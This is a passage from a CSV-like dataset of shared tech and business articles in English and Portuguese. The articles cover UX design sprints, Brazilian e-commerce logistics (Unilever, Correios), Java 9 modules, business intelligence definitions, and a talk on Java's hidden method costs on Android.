Bot Original sem desconsiderar a importância do trabalho humano na relação com os públicos. ""O importante é garantir a satisfação das pessoas, e o modelo ideal para isso é um modelo híbrido de atendimento, capaz de somar qualidades humanas e tecnológicas"".",pt
1474046743,CONTENT SHARED,-2144625344076628986,3915038251784681624,7474420184123651157,,,,HTML,https://econsultancy.com/blog/68288-how-to-overcome-ux-challenges-with-product-design-sprints/,How to overcome UX challenges with product design sprints,"Rolling out a digital product or even an iteration, whether it's a website or a mobile app, requires a substantial amount of time, effort, finances and expertise. For many businesses, the only way of finding out whether their product or service works is to launch it to the public, and user experience plays a crucial role in how the product is perceived. However, what if there was a way of determining its success before it reaches the end-customer while minimising risk factors? One way that companies can develop their products and ensure they meet their business objective is by taking part in a product design sprint. It's a tried and tested process, initially created by Google Ventures . It's a highly effective way of shaping new products and redesigning existing features to overcome any UX challenges. The original Google Ventures design sprint. A product design sprint is an intensive five-day process during which UX experts, such as digital strategists, designers and developers work alongside stakeholders to help gain an understanding of what the product is (or should be), to brainstorm ideas and features, to decide on which of those to explore, and then finally, to create a prototype and test these concepts with real users. Here's a breakdown of a typical product design sprint process: Day one: Understand The UX team and stakeholders work to gain a shared knowledge of the problem and business goals, review existing analytics and competitors, as well as mapping out the primary user journey to be focused on. This gives a chance to find out what isn't working and why, what areas need to be focused on and in what direction product development should be moving, keeping the user at the forefront. Day two: Diverge Here, the group focuses on smaller aspects of the user journey, brainstorming ideas and concepts that solve the problem identified in Day One. Participants can get as creative as they can to come up with innovative ideas to help improve the product. For example, they can be looking for shortcuts to simplify the user journey, instant fixes to remove any obstacles from the product or think about bigger changes to revolutionise the concept. This is typically a very engaging, satisfying (and sometimes tiring) day. Day three: Decide With dozens of ideas and concepts for how the product would solve the key problems, the focus of this day is to decide what elements are going to be carried forward and tested. The group can pick top three solutions and discuss what aspects or elements will need to be developed further. When the decisions are made, the initial user journey is redrawn, including concepts and UI features identified on the previous day. Day four: Prototype The UX team goes back to the office to create a prototype and a test script based on the user journey from day three. The prototype is typically in a wireframe format with little to no branding, as its purpose is to validate concepts and assumptions from earlier in the process. Day five: Test On this day, real users are brought in and the entire group observes the testing taking place. This day is always informative and can be extremely insightful! This part simulates the public launch of the product and speeds up the process of finding out what works and what doesn't. All user information and feedback is gathered for further analysis to identify strengths, weaknesses and further steps for the concept. Once the full evaluation is complete, the UX team share the results with the client on how product development should follow. De-risking or ""failing cheap"" A product design sprint helps remove elements of risk from projects and therefore can avoid expensive redesigns or change of directions down the road. Anyone can come up with an idea but it can be very costly to really find out if it works. This way, going through various solutions, creating a prototype and then putting it in the hands of real users to test can be a very cost and time-effective practice. It can't be stressed enough just how valuable product design sprints can be. The purpose of these sessions is to test and validate assumptions, focusing on how the user journey can help meet business objectives. Long gone are the days of launching a product, based on arbitrary ideas of what users might want and then having to make costly amendments once it launches and fails. The best thing about Product Design Sprints is that there are no bad outcomes. Users might instantly love the prototype and enjoy the concept, which indicates that real product development can go ahead. However, user test results can also be less encouraging. Some of the ideas might not work and users may struggle to understand the product. This is called ""failing fast"", and more importantly, ""failing cheap"". It only takes a week and a basic prototype to realise that amendments may be needed, rather than undergoing a full design and development cycle with significant financial investment and potential loss. For any business struggling with UX or lacking knowledge of how to realise an idea, product design sprints can be extremely effective in helping get on the right track fast.",en
1474047534,CONTENT SHARED,4702466408529036844,-1352064057049251194,-5573406438845115004,,,,HTML,http://exame.abril.com.br/negocios/noticias/unilever-cria-e-commerce-para-lojas-de-bairro,Unilever cria e-commerce para lojas de bairro | EXAME.com,"São Paulo - A Unilever lançou um comércio eletrônico voltado a pequenos lojistas, que têm dificuldade na reposição de estoque. O projeto Compra Unilever ainda está disponível apenas em São Paulo e deve ser expandido para o resto do Brasil nos próximos meses. O objetivo é alcançar 300.000 vendedores. Por terem baixo volume de vendas, as lojas pequenas e de bairro não são visitadas com tanta regularidade por representantes de grandes fornecedores. Por isso, os varejistas precisam ir a atacados e correm o risco de ficar desabastecidos de certos produtos. ""Com frequência, o lojista não pode deixar o seu negócio para ir a um atacado , muitas vezes em outra cidade"", afirmou Cris Souza, diretora dos Canais Diretos e Indiretos da Unilever. Com o novo site Compra Unilever, ele não precisa esperar pela visita do representante da marca para realizar seu pedido. ""Garantimos que essa loja sempre tenha disponibilidade de produtos, para que eles cheguem mais rápido ao consumidor"", diz Patrícia Amaro, diretora de e-commerce da Unilever. A distribuição será feita por parceiros aprovados pela Unilever, que já faziam o serviço de entregas a varejistas. Para se cadastrar no site é necessário ter um CNPJ. Além dos produtos, a plataforma ainda oferece promoções exclusivas e dicas sobre como aumentar a rentabilidade do negócio, como instruções sobre posicionamento de produtos nas prateleiras e como melhorar o mix de itens. ""Não tínhamos como desenvolver esse tipo de relacionamento com o varejista, pois não tínhamos equipe para isso"", afirmou Patrícia Amaro. O comércio eletrônico foi desenvolvido pela Infracommerce, que também tem clientes como Ray-Ban, Oakley, Brasil Kirin, Aramis, Morena Rosa, Olympikus entre outros. A Infracommerce será responsável pela manutenção do portal, cadastro de produtos e pelo serviço de atendimento ao cliente. Ela incluiu dois meios de pagamento que normalmente não são oferecidos ao varejista: cartão de crédito e boleto. ""O mais comum é que o distribuidor dê crédito ao varejista para as compras. Mas o pequeno lojista muitas vezes não foi analisado pelo distribuidor e não tem acesso a esse meio"", afirmou Gregory Perez, gerente de contas da Infracommerce. São Paulo - Parece mágica: você compra um produto pela internet e, alguns dias depois, ele se materializa na sua porta. Por trás desse processo aparentemente simples, há muita tecnologia e dezenas de pessoas trabalhando para garantir que a experiência de compra seja a melhor possível. A Infracommerce é uma das empresas que leva produtos do mundo virtual até a casa dos consumidores. Ela atende o comércio eletrônico de 32 marcas, como Ray-Ban, Oakley, Brasil Kirin e Olympikus. Confira nas imagens o processo completo da compra online dos óculos Ray Ban, do desenvolvimento do site até a chegada do produto no local de entrega.",pt
1474047746,CONTENT SHARED,-782975839522191154,-1352064057049251194,-5573406438845115004,,,,HTML,http://idgnow.com.br/internet/2016/09/15/correios-lanca-servico-de-logistica-integrada-para-e-commerce/,Correios lança serviço de logística integrada para e-commerce - IDG Now!,"As atividades de logística dos Correios estão passando por uma transformação no que diz respeito ao atendimento de empresas de comércio eletrônico. Agora em vez de cuidar apenas da coleta e entrega de mercadorias, a empresa passa a oferecer também os serviços de armazenagem, manuseio, transporte/distribuição e logística reversa, em uma solução de logística integrada (e-fulfillment) batizada de Correios Log. E outras palavras, o pequeno varejo online poderá ter o seu estoque administrado pelos Correios. O serviço começa a operar, inicialmente, atendendo a empresas de todo o país a partir do armazém logístico dos Correios em São Paulo (unidade de Cajamar), que possui uma área de 72 mil metros quadrados e 18 mil posições de armazenagem, com previsão de ampliação para 86 mil em 2017. ""A intenção é lidar com volumes de até 30 quilos e dimensões dentro das limitações com as quais os Correios já trabalha, de alguns centímetros"", afirma o vice-presidente de Logística José Furian Filho. Estamos falando aí de caixas que podem chegar ao tamanho máximo das embalagens de pequenos produtos eletroeletrônicos, de modo geral, como fogões de microondas, impressoras, etc. ""O serviço é o mesmo que os Correios já prestam sob demanda para clientes com grandes volumes e capacidade financeira, mas que não estava ao alcance dos pequenos e micro empreendedores. Encontramos uma forma de fazer com que várias pequenas e micros empresas pudessem compartilhar o mesmo armazém"", afirma o executivo. Para isso, os Correios investiram R$ 5,5 milhões na aquisição de um ""poderoso software de gerenciamento de armazém (WMS), que permitiu à empresa fazer o controle de vários pequenos estoques dentro do mesmo espaço, além de ganhar agilidade na gestão e giro de estoque, acompanhamento de pedidos online, rastreabilidade e cálculo de produtividade. Com isso, a empresa pôde baixar o custo de armazenagem para os pequenos empreendedores. Furian se refere ao Correios Log como ""uma solução de governo, criando soluções para que os pequenos e micros empresários que vendem pela internet possam se manter no mercado, gerando emprego e renda"". ""Mesmo o pequeno produtor, que vende direto a sua produção, ou os artesãos que tenham estoque, podem usar o serviço"", afirma o executivo. A modelagem do Correios Log levou um ano, no qual foram feitas várias pesquisas com clientes dos Correios. Os resultados levaram a empresa a trabalhar com um cenário no qual 90% das lojas virtuais do Brasil são pequenos negócios, 89% delas assumem a própria logística nas etapas de armazenagem e manuseio e apenas 47% possuem loja física. Na composição dos custos dessas empresas com logística, 63% cabe ao frete, 20% à armazenagem e 17% ao manuseio. Considerando uma encomenda de 1 quilograma, e os valores médios do mercado, a estimativa dos Correios é de que o custo total só com e-fulfillment gire hoje em torno de R$ 32,98. Com o Correios Log, a empresa diz ser capaz de reduzir esses custos em ate 47%. Como funciona Por meio da formalização da parceria com os Correios, através da celebração do contrato comercial, as empresas entregam seus produtos em estoque para os Correios realizar a armazenagem. Feita a conferência, os itens são armazenados em posições de picking no centro de logística integrada. Com a integração dos sistemas, os Correios recebem as ordens de atendimento de pedidos de cada loja virtual, retiram do estoque os itens a serem enviados, preparam, embalam, imprimi os rótulos de postagem e documentos fiscais, e despacham no fluxo postal para entrega. Caso a loja virtual ou o cliente solicite que a entrega seja feita por outra transportadora, os Correios disponibilizam ps produtos para envio para que estas empresas possam retirar no centro de logística e realizar a entrega. Os Correios fornecem o código para rastreio de cada mercadoria enviada e oferecem o suporte para atendimento do pós venda e logística reversa. Os pedidos são atendidos e enviados num prazo de D+0 ou D+1 dependendo da quantidade de pedidos de atendimento solicitados. Empresas interessadas podem conhecer detalhes do serviço no site correios.com.br/ecommercecorreioslog .",pt
1474048505,CONTENT SHARED,-816352740763488513,-4467650312287951120,5796560777557598254,,,,HTML,https://docs.asp.net/en/latest/client-side/bower.html,Manage Client-Side Packages with Bower - ASP.NET documentation,"ASP.NET Core project templates pre-construct the client build process for you. The ubiquitous jQuery and Bootstrap packages are installed, and the plumbing for NPM, Gulp, and Bower is already in place. The screenshot below depicts the initial project in Solution Explorer. It's important to enable the ""Show All Files"" option, as the bower.json file is hidden by default.",en
1474048569,CONTENT SHARED,-4655195825208522542,-3595444231792050977,-5218411221113627439,,,,HTML,http://blog.caelum.com.br/java-9-na-pratica-jigsaw/,Java 9 na prática: Jigsaw,"Há muito tempo se diz sobre modularizar a plataforma Java . É um plano que começou desde antes do Java 7, foi uma possibilidade no Java 8 e por fim, para permitir mais tempo de desenvolvimento, revisão e testes, foi movido para o Java 9. O projeto Jigsaw, como foi chamado, é composto por uma série de JEPs . Algumas delas inclusive já disponíveis no Java 8, como os conhecidos Compact Profiles . A idéia por trás do projeto não é só criar um sistema de módulos, que poderemos usar em nossos projetos, mas também aplicá-lo em toda a plataforma e JDK em busca de melhor organização e desempenho. we propose to design and implement a standard module system for the Java SE Platform and to apply that system to the Platform itself, and to the JDK. The module system should be powerful enough to modularize the JDK and other large legacy code bases, yet still be approachable by all developers. Neste novo post da serie Java 9 prático não só veremos que o projeto já existe e está integrado aos últimos builds, como também vamos explorar e implementar nosso próprio projeto modular. Tudo ao estilo hands on, claro - preparem seus compiladores! Preparando o seu ambiente para o Java 9 modular O Jigsaw foi integrado ao build do JDK 9 desde a versão ea+111, portanto tudo que você precisa para usá-lo é baixar uma versão igual ou superior a ela. Eu recomendo bastante que, mesmo que você já tenha uma versão relativamente atual, baixe sempre a última antes de qualquer teste. Você pode fazer o download aqui . A versão que estou usando neste post é do build 134 (mais atual de agora). Criando um hello world tradicional No lugar de já começar criando o projeto modular com Jigsaw, vamos criar um projeto da forma tradicional e depois migrá-lo, assim a diferença entre as duas abordagens deve ficar bastante clara. Nos exemplos do post vou fazer tudo pela linha de comando e ir compartilhando os snippets, mas para acompanhar, você pode e deve usar o gerenciador de arquivos do seu sistema operacional e qualquer editor de sua preferência. Os passos são simples, começando pela criação dos diretórios do projeto e de seus pacotes. O projeto se chamará hello-jigsaw e as classes Java devem ficar no pacote br.com.caelum.jigsaw . Podemos fazer tudo com o comando: Claro que, se você preferir, pode criar usando o gerenciador de arquivos do seu sistema operacional favorito. O importante é que, no final, a estrutura de diretórios fique assim: Tudo ok. Então agora podemos criar a classe JigSaw.java , dentro de src/br/com/caelum/jigsaw : Aqui tem um vídeo com todos os passos desse processo, caso queira dar uma olhada. E também vou deixar um link para fazer download ou navegar pelos arquivos com esse estado do post. Compilando e executando, ainda da forma atual Para compilar o projeto podemos usar o comando javac e pronto. Nada de especial aqui. Feito isso, caso não exista nenhum erro, podemos executar com: Repare que, como já criamos dentro de um pacote e da pasta source , foi preciso passar o parâmetro -cp (classpath) apontando para ela e também usar o nome completo da classe, que inclui o pacote. Talvez você não esteja tão acostumado com isso, afinal a maioria de nós não compila classes na linha de comando no dia a dia, mas não tem nenhuma novidade por enquanto. Ao executar, o output, conforme esperado, será a mensagem: Olá Java 9 modular! . Você pode ver aqui o vídeo do processo de compilação e execução. Agora finalmente vamos para a parte divertida, que será migrar o projeto para que seja modular! Migrando para um projeto modular A migração não é nada complicada. Você precisa basicamente criar uma nova pasta com o nome do seu módulo, que por convenção, é o pacote base do seu projeto. Você pode pensar no nome do módulo como algo parecido com o groupId de um projeto do Maven. É aberto, você pode escrever qualquer coisa, mas idealmente deve seguir uma convenção. Em nosso caso o módulo será chamado de br.com.caelum.jigsaw : Ok. O próximo passo será mover todos os arquivos do projeto, de dentro da pasta src, para dentro deste novo diretório do módulo. Você pode fazer isso com o comando mv do terminal ou simplesmente mover a pasta br pelo seu gerenciador de arquivos com tudo que tem dentro para o diretório do módulo. Na linha de comando seria assim: Agora falta criar um arquivo chamado module-info.java , também dentro deste diretório do módulo - tudo ficará nele a partir de agora. Esse arquivo será o responsável pela declaração do módulo e futuramente as suas dependências. A configuração é mínima: Tudo pronto, no final de todos os passos nosso projeto deve ficar assim: Vou deixar aqui os links do post nesta fase também, caso queira acompanhar: [ video , download do código , navegar pelo projeto ] Nosso projeto agora é modular! Nada complicado, não é mesmo? Vamos ver agora como compilar e executar um projeto com esse novo formato. Compilando um projeto modular O comando javac para um projeto modular é um pouco diferente. Ele terá a seguinte estrutura: Onde <1> é o diretório onde ficará o código compilado, <2> é o caminho para o seu arquivo module-info.java , e <3> é o caminho completo para o seu arquivo .java. O comando completo para compilar esse nosso projeto ficará assim: Execute e, se nenhum erro de compilação for exibido, você verá que a nova pasta mods foi criada com todo o código compilado. Inclusive os metadados do module-info. O projeto ficou assim: Agora temos o diretório src, com o código fonte, e o diretório mods , com o código compilado. Executando um projeto modular Para executar você usará o comando java , como sempre, mas agora com esse formato: Onde <1> é o nome do diretório onde está o código compilado do nosso módulo, ou seja, a pasta /mods . E <2> o nome completo ( full qualified name ) da classe que será executada. Um detalhe importante é que, agora que estamos trabalhando de forma modular, o nome da classe recebe também o nome do módulo como prefixo, logo antes do nome do pacote. O comando para executar a classe JigSaw ficará assim: E a saída, assim como esperado, será o print: Olá Java 9 modular! Aqui vão os links de [ video , download do código , navegar pelo projeto ] Adicionando um alert do Swing Por enquanto usamos apenas um System.out no projeto, apenas recursos do pacote padrão java.lang . Vamos experimentar usar um importe de alguma outra API do próprio Java pra ver o que acontece? Uma forma simples seria usando um alert do Swing para imprimir a mensagem: Maravilha, agora basta compilar utilizando o mesmo comando de antes e ops... Você pode ver aqui um video com esses passos e o erro gerado. O que houve? A mensagem diz que o pacote javax.swing não existe! Claro que o Swing não foi removido no Java 9... mas a partir do momento em que compilamos nosso projeto modular, o compilador só usará os módulos que declararmos como dependência no arquivo module-info.java . Até então não tinhamos nenhuma. O JRE modular A primeira coisa que eu fiz ao baixar o build do Java 9 com Jigsaw foi abrir o diretório onde ele está instalado e ver o que mudou. Se você fizer isso aí na sua casa, vai perceber que no lugar da pasta jre/lib , onde ficavam todos os .jar s da JRE, você encontrará um diretório jmods com todos os módulos. E não são poucos. The original goal of this Project was to design and implement a module system focused narrowly upon the goal of modularizing the JDK, and to apply that system to the JDK itself. We expected the resulting module system to be useful to developers for their own code, and it would have been fully supported for that purpose, but it was not at the outset intended to be an official part of the Java SE Platform Specification. O pensamento foi: se vamos criar um sistema de módulos na plataforma Java, por que não modularizar o próprio JDK? E assim foi feito, todo o código foi reorganizado em módulos. Você pode ver todos executando o seguinte comando: Você pode ver todos na imagem deste link . Um detalhe que você deve ter percebido é que, assim como não era preciso importar o java.lang para usar as classes System , String e outras, você também não precisa declarar nenhum módulo. Essas classes estão presentes no módulo padrão, java.base . Outro detalhe importante é que você não é obrigado a usar Java modular, claro. Você só precisa declarar de quais módulos a sua aplicação depende se ela for modular... caso exista o arquivo module-info . Declarando a dependência entre módulos As classes do Swing , como o JOptionPane que usamos, estão em um módulo chamado java.desktop . Para ensinar ao compilador que precisamos desse módulo em nosso projeto, basta declará-lo no arquivo module-info.java . A mudança é simples, o código ficará assim: E pronto! Você não precisa de nenhuma configuração adicional, basta usar o mesmo comando para compilar e agora ele saberá de onde vem o pacote javax.swing . Zero erros. Agora executamos o código e o alert será exibido: Aqui vão os links de [ video , download do código , navegar pelo projeto ] É claro que, assim como você não precisa executar os comandos javac e java manualmente na linha de comando hoje, passando o classpath e caminho para as dependências do projeto, você também não vai precisar fazer isso com o projeto modular. As IDEs vão adicionar suporte para que isso fique transparente e para que você não se preocupe tanto com os detalhes. O post foi um overview rápido sobre um assunto bastante abrangente, então, sem dúvida alguma novos posts entrando em detalhes que não foram discutidos aqui virão em breve. Não deixe de deixar suas perguntas e sugestões de assuntos aqui como comentário, são elas que estão guiando os posts da serie Java 9. E aí, o que achou do Jigsaw? Tem outros assuntos que gostaria de ler aqui no blog sobre Java 9?",pt
1474050411,CONTENT SHARED,6690761795935927461,-2525380383541287600,-7246022575664973897,,,,HTML,http://www.matera.com/br/webinars/,Webinars | MATERA Systems,"APRENDENDO NA PRÁTICA COM TESTING DOJO Data : 22/setembro | Horário : 11h00 | Duração : 30 minutos Palestrante Ariane Izac Sobre o Webinar Treinamentos teóricos nem sempre são absorvidos conforme gostaríamos, e às vezes, tornam-se massantes (mesmo o conteúdo sendo interessante). Neste webinar apresentaremos a técnica dojo aplicada em treinamentos para testadores e qual é a dinâmica de aprendizado na prática. Você quer conhecer novas formas de capacitação onde os participantes aprendem na prática? Então, esse webinar é para você! WEBINARS MAIS RECENTES",pt
1474051439,CONTENT REMOVED,6690761795935927461,-2525380383541287600,-7246022575664973897,,,,HTML,http://www.matera.com/br/webinars/,Webinars | MATERA Systems,"APRENDENDO NA PRÁTICA COM TESTING DOJO Data : 22/setembro | Horário : 11h00 | Duração : 30 minutos Palestrante Ariane Izac Sobre o Webinar Treinamentos teóricos nem sempre são absorvidos conforme gostaríamos, e às vezes, tornam-se massantes (mesmo o conteúdo sendo interessante). Neste webinar apresentaremos a técnica dojo aplicada em treinamentos para testadores e qual é a dinâmica de aprendizado na prática. Você quer conhecer novas formas de capacitação onde os participantes aprendem na prática? Então, esse webinar é para você! WEBINARS MAIS RECENTES",pt
1474055270,CONTENT SHARED,-48842168049882829,-5118506922564478779,7109747332597945064,,,,HTML,http://computerworld.com.br/gestao/2010/07/19/business-intelligence-qual-a-melhor-definicao-para-o-tema,Business Intelligence: qual a melhor definição para o tema?,"O que representa o BI (Business Intelligence)? A questão pode parecer bastante óbvia, já que trata-se de uma tecnologia que não é nova no mercado. Contudo, basta olhar um pouco mais a fundo para as aplicações e as ferramentas de desenvolvimento para entender que existem diversos pontos nebulosos em relação ao entendimento do termo e que a própria indústria diverge em relação ao que significa esse tipo de solução. Entre as definições mais aceitas está aquela que aponta o BI como um guarda-chuva que se refere a uma variedade de aplicações usadas para analisar e organizar uma série de dados. Em outras palavras, esses sistemas pegam vastas quantidades de dados e as transformam em um modelo visual - a partir de gráficos e tabelas - que permitem uma análise sofisticada das tendências de negócio. Com o intuito de avaliar se os especialistas concordam com essa definição, a CIO/EUA perguntou a alguns profissionais do setor: qual a melhor definição para o BI? A seguir, acompanhe as respostas: Mery Adrian, analista e consultor em TI, que já passou por empresas como Forrester Research, Giga, Sybase e Information Builders Business Intelligence é a aplicação de técnicas analíticas para informações sobre condições de negócio no sentido de melhorá-las - de uma maneira automatizada, mas com a interpretação e respostas humanas. A imprecisão de muitos dos termos, no entanto, permite que os fornecedores e analistas redefinam a categoria, o que fazem com frequência. Steve Anthony, CIO da consultoria de negócios Charles River Associates Um sistema de negócios que inclua uma estrutura de busca efetiva e acessível, acurada, em tempo real, com métricas de negócio e relatórios que permitam aos líderes das áreas de negócio se manterem informados para tomar decisões. Isso é fácil de dizer, mas difícil de fazer corretamente e envolve mudanças na forma como a organização conduz uma busca efetiva, bem como a necessidade por uma boa base de dados para tomar ações, com o objetivo de otimizar a performance corporativa. Tom Davenport, professor de gestão e TI e coautor do livro Analytics at Work: Smarter Decisions, Better Results Eu vejo o BI como todas as coisas que as empresas fazem para melhorar a gestão e a organização dos dados. Para mim, inclui relatórios e análises, embora exista muito mais a olhar. De qualquer forma, eu penso que o termo BI está sendo rapidamente suplantado por ""business analytics"". William Swislow, CIO and vice-presidente sênior de produtos do site de venda de veículos Cars.com Business intelligence é a informação acessível que resulta das principais atividades da companhia e pode ser usada para agregar, relatar e analisar os principais caminhos para o negócio. Ray Wang, consultor na área de estratégia corporativa do Altimeter Group e autor de um blog sobre a próxima geração de BI A habilidade para que a pessoa certa receba a informação adequada e no momento correto para tomar a melhor decisão. Talvez, no final das contas, business intelligence seja todas as coisas já faladas e nenhuma delas. BI é como cada organização se define em relação à necessidade de tornar os processos de negócio mais eficientes; a forma como os usuários precisam acessar as informações corporativas para fazer seu trabalho melhor; e, por fim, as ferramentas tecnológicas que asseguram que tudo isso vai acontecer da forma mais adequada possível.",pt
1474057066,CONTENT SHARED,8886002764685330098,-9016528795238256703,1379310357369544249,,,,HTML,https://realm.io/news/360andev-jake-wharton-java-hidden-costs-android/,Exploring Java's Hidden Costs,"As Java 8 features come to Android, it's important to remember that every standard library API and language feature comes with an associated cost. Even as devices get faster and have more memory, concerns of code size and performance overhead are still very relevant. This 360AnDev talk will be an exploration of hidden costs associated with some of Java's features. We'll focus on optimizations relevant for both library and application developers and on the tools that can be used to measure their impact . Introduction (0:00) In this talk, I'm going to talk about things I've been looking at for the last six months, and I want to disseminate some of that information. As we're going through this, you might not get these tangible things that you can apply to your application. But wait until the end, and I'll have some concrete tidbits of how to avoid all the stuff that we're going to see. I'll also be showing a lot of command-line tools that I use, and the links to all these resources will be at the end of the post. We'll start with a multiple choice question. How many methods are in this piece of code? Zero, one or two? You probably immediately have a gut reaction. Maybe it's zero, maybe it's one, and maybe it's two. Let's take a look and see if we can answer this question. First of all, there are zero methods inside this class. I've written no methods in the source file, so that's perfectly valid to say. Of course, that would be a really uninteresting answer to this problem. Let's start taking our class through the build pipeline of Android and see what comes up: We take our contents here and write it to a file, then use the Java compiler to take the source code and turn it into a class file. And then we can use this other tool from the Java development kit called javap . That is going to allow us to see inside the class file about what was compiled. If we run this on our compiled class, we see that there's a constructor inside our example class. We didn't write one in the source file, but Java C has taken the liberty of adding that constructor automatically. That means that there's zero methods in source file but one method in the class. But that is not where Android builds stop: In the Android SDK, there's a tool called dx , which does dexing , which takes the Java class files, and turns it into Android's Dalvik bytecode. We can run our example class through dex , and there's another tool in the Android SDK called dexdump , which will give us a little information about what's inside these dex files. You run it, and it's going to print out a bunch of stuff. It's like offsets into the file and counts and its various tables. If we look closely, one of these things stands out, and that's the method table inside the dex file: It says that there are two methods in our class. That makes no sense. Unfortunately, dexdump doesn't give us an easy way to look at what the methods are. In response to that, I wrote a little tool which I'll use to dump methods inside of a dex file: If we do this, we see that it does return two methods. It returns our constructor, which we know the Java compiler created, even though we didn't write one. But it also says that there is an object constructor. Certainly, our code is not calling new object everywhere, so where does this method come from that winds up being referenced in the dex file? If we go back to the javap tool that prints class file information, you can give it some additional flags to look more deeply inside the classes. I'm going to pass the -c flag, which is going to decompile the bytecode into something that's a little more human readable. At index one, it's our generated constructor that is calling the super class constructor. That is because, even though it didn't declare it, Example extends from Object . Every constructor has to call the super class constructor. It gets inserted automatically. That means there are two methods from our class flow. All of these answers to my initial question were correct. The difference between these though is terminology. It's where they live. We didn't declare any methods. But only humans care about this. As humans, we read and write these files. We're the only ones that really care what goes in and out of them. The other two are the ones that are more important, the number of methods that are actually compiled in the class files. These are the methods that declared or not, are inside that class. The two methods are the number of methods that are referenced. That is inclusive in the sense that our own methods that we wrote are counted, and also all of the others that are referenced from within those methods from calling out to Android's logger. That Log.d method that I'm referring to counts against this reference method panel, which is what's in the dex file. That is what people traditionally refer to when you talk about method count on Android, because dex has the infamous limit for the number of methods that can be referenced. We saw a constructor being created without us having declared one, so let's look for some other hidden things that are generated that we might not have known were there. Nested classes are a useful construct: They're not in Java 1.0. They came in a later version. You see stuff like this for when you're defining an adapter inside of a view or presenter: If we can compile this class, this is one file with two classes. One nested inside the other. If we compile this, we see that two separate class files end up in the file system. If Java had truly nested classes, we would only get one class file. We would get ItemsView.class . But there's no true nesting in Java, so what are in these classes? In the ItemsView , the outer class, all we have is the constructor. There's no reference, no hint that there was an inner class: If we look at the contents of the nested class, you see that it has its implicit constructor, and you know that it was inside an outer class because its name got mangled. Another important thing to note if I go back, we see that this ItemsView class is public, which is what we declared in the source file. But the inner class, the nested class, even though it's declared as private, it's not private in the class file. It's package scoped. That makes sense because we had two class files that were generated, in the same package. Again, that just further proves that there's no true nesting in Java. Even though you're nesting those two class definitions, you're effectively just creating two classes that are next to each other in the same package. You could do this if you wanted to. You can use that naming scheme as two separate source files: The dollar sign is a valid character for names in Java. Methods or plus names. However, this is really interesting because I know that I can do stuff to find a private static method in the outer class, and I can refer to that private method in the inner class: Now that we know that there's no such thing as true nesting, though, how does this work in our hypothetical separated system where our ItemsAdapter class needs to refer to the private method in ItemsView ? That will not compile, however this will: What's going on here? When you go back to our tools, we can use javac again. I'm referencing TextView , so I had to add the Android APIs to Java. Now I'm going to print out the contents of the nested class to see what method it has called. If you look at index two, it's not calling the displayText method. It's calling access$000 , which we didn't define. Is that in the ItemsView class? If we look, it is. We see our private static method is still there, but we now have this additional method that we didn't write automatically being added. If we look at the contents of that method, all it does is forward the call to our original displayText method. That makes sense because we need some way to call this private method from a package scoped to a class. Java's going to synthesize a package scoped method to facilitate that method call. If we go back to our separated example, our manual example, we can make this compile in the exact same way. We can add that method, and we can update the other class to refer to it. The dex file has this limit of methods, and so when you have these methods that are going to be added based on the ways that you're writing your source file, those can add up. It's important to understand this is happening because we're trying to access a private member somewhere that it can't work. So you might say, ""Well, you only did Java C. Maybe the dex tool can see that and automatically eliminate that method for us."" If we compile our two classes that are generated and list them out, you can see that that's not the case. The dex tool compiles it like it was any other method. It does end up in your dex file. You might say, ""Well, I heard about this new Jack compiler. And the Jack compiler takes the source file directly and directly produces dex files, so maybe it can do something where it doesn't need to generate this extra method."" There's certainly no access method. However, there's this -wrap0 method, which is effectively the same thing: There's also a tool called ProGuard , which probably a lot of people are using. You might say, ""Well ProGuard should be able to take care of this, right?"" I can write a quick ProGuard key. I can run ProGuard on our class files and print out the methods. And I get this: The constructors were removed because they weren't being used. I'm going to add them back in because normally they would stick around: You'll see that the access method is still there. But if you look closely, we retain the access method, but displayText disappeared. What the hell's going on here? You can unzip the jar that ProGuard produced, and then we can go back to our javap tool and look inside the ProGuarded class file: If we look at the access method, it no longer is calling displayText . ProGuard has essentially taken the contents of displayText and moved them into the access method and deleted the displayText method. This access method was the only one referring to that private method, so it just inlined it because no one else was using it. Yes, ProGuard can kind of help. But it's also not guaranteed to be able to do this. We got lucky because this is such a trivial example, but it is certainly not guaranteed. You might think, ""Well, I don't really nest classes that much, maybe it's a handful. So if I'm only getting a handful of these extra methods, it's not a big deal, right?"" Anonymous class (13:06) Let me introduce you to our friend the anonymous class: Anonymous classes behave the exact same way. They are effectively the same thing. It's a nested class, but it has no name. If in these listeners, which we use all too frequently, you reference a private method in the imposing class, that's going to generate a synthetic access method. That is also true for fields: I think this is the one that's probably a lot more common. We have fields in these outer classes, these activities that we're modifying the state of, inside of these listeners. I've done a completely awful implementation here, but what I'm doing is setting a value. I'm using a pre-increment, pre-decrement, post-increment, and a post-decrement, and then the log message has to read the value from the field. How many methods are we going to get from this? Maybe only two. Maybe one for reading, one for writing, and then the increment and decrement get turned into reads increments and writes. If that was only the case: We compile this, and one method is being generated for each of those types. So if you think that in an activity or fragment or whatever, you have four or five listeners, you have maybe ten fields that are private in the outer class. You're getting a nice combination of explosion of access methods. You still might be unconvinced that this is a problem. Say, ""Well, maybe it's 50, maybe it's 100. Is that really a big deal?"" It turns out we can find out. You can find out how prevalent these are in the wild. These commands will pull every APK from your phone. Every app that you've installed, that's a third party app: We can write a script which uses this dex method list and then greps all the different numbers: Then we can run this crazy command, which is going to go over every single APK that I've pulled off my phone, run this script, and then make a nice pretty table: You can see the table on slide 77, it sorts it by the most accessor methods by package name. And for my phone, we're in the multiple thousands. Amazon makes up five of the top six here. The top ones are in 5,000 synthetic accessor methods. 5,000 methods, that's an entire library. That's like an apken pad. You have an entire apken pad of useless methods that only exist to be jumping points to some other method. Also because we looked at ProGuard, obfuscation is going to screw with these numbers. Inlining is going to screw with them. Don't take them as the exact number. It just puts you in the ballpark of realizing how many methods are made up. How many methods are in your application that are better than these useless accessor inputs? By the way, Twitter at the bottom here? They have 1,000. They're ProGuarding their apps, so there's probably a lot more. But I thought it's interesting because they're the lowest number reported methods for the highest number of actual methods. They have 171,000 methods in their app and only 1,000 synthetic accessors that we use. That was pretty impressive. We can fix this. That is easy to do. We just have to not make something private. We have to make it package scoped when we're referencing it across those boundaries. IntelliGate has an inspection for this. It's not enabled by default, but you can go in and search for a private member. Which is fun to search for, and it will take our example, and it will highlight it yellow. You can option enter on it, and it will give you an intention action to just take that private member that you're accessing and make it package scoped. When you think about these nested classes, try to think of them as siblings instead of with having a parent-child relationship. You can't really access a private member from an outer class. You have to make it package scoped. That is not going to cause problems because even if you're a library, hopefully, these people aren't putting classes in the same packages as you so that they can access these things that you're making more visible. I also put in a feature request for a link check for this. Hopefully, in the future, you could potentially fail your build if you're doing this. I have been going through a ton of open source libraries and fixing these visibility problems so that the libraries 